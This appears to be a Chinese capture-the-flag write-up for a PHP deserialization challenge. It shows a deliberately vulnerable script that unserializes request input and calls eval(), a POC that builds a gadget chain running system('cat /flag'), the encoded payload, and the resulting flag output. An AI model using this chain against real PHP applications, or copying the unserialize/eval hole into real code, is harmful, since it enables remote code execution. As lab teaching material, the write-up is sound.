源码

<?php

class test1
{
public $varr;

function __construct()
{
$this->varr = "index.php";
}

function __destruct()
{
printf("%s\n", __METHOD__);
if (file_exists($this->varr)) {
echo "文件" . $this->varr . "存在";
}
}
}

class test2
{
public $varr;
public $obj;

function __construct()
{
$this->varr = '123456';
$this->obj = null;
}

function __toString()
{
printf("%s\n", __METHOD__);
$this->obj->execute();
return $this->varr;
}

function __destruct()
{
printf("%s\n", __METHOD__);
}
}

class test3
{
public $varr;

function execute()
{
printf("%s\n", __METHOD__);
eval($this->varr);
}

function __destruct()
{
printf("%s\n", __METHOD__);
}
}

if (isset($_REQUEST['Sonder'])) {
unserialize($_REQUEST['Sonder']);
} else {
echo "系统检测发现该处漏洞,进行攻击测试\n";
}
?>

POC

<?php

class test1
{
public $varr;

function __construct()
{
$this->varr = new test2();
}
}

class test2
{
public $varr;
public $obj;

function __construct()
{
$this->varr = '123456';
$this->obj = new test3();
}
}

class test3
{
// public $varr="system('ls /');";
public $varr="system('cat /flag');";
}
$T1 = new test1();
//var_dump($T1);
echo urlencode(serialize($T1));
O%3A5%3A%22test1%22%3A1%3A%7Bs%3A4%3A%22varr%22%3BO%3A5%3A%22test2%22%3A2%3A%7Bs%3A4%3A%22varr%22%3Bs%3A6%3A%22123456%22%3Bs%3A3%3A%22obj%22%3BO%3A5%3A%22test3%22%3A1%3A%7Bs%3A4%3A%22varr%22%3Bs%3A20%3A%22system%28%27cat+%2Fflag%27%29%3B%22%3B%7D%7D%7D

传入payload,得到

test1::__destruct
test2::__toString
test3::execute
Sonder{135d79-ba631f65200a5f-870225232871-7af1e740}
test2::__destruct
test3::__destruct
  1. 看到unserialize__wakeup()__destruct(),在test1类中有 __destruct() 方法,其中会先判断file_exists()
  2. 如果file_exists()的值为对象时,会执行__toString()方法,并且$varr是可控的,搜索__toString()方法 在test2中有__toString()方法;
  3. 其中又指向$this->obj->execute()查找execute()方法,并且$varr$obj是可控的,查找execute()方法,参数直接执行eval(),在 test3中有execute()方法,并且$varr是可控的.
  4. unserialize -> file_exists() -> test1::__destruct -> test2::__toString -> test3::execute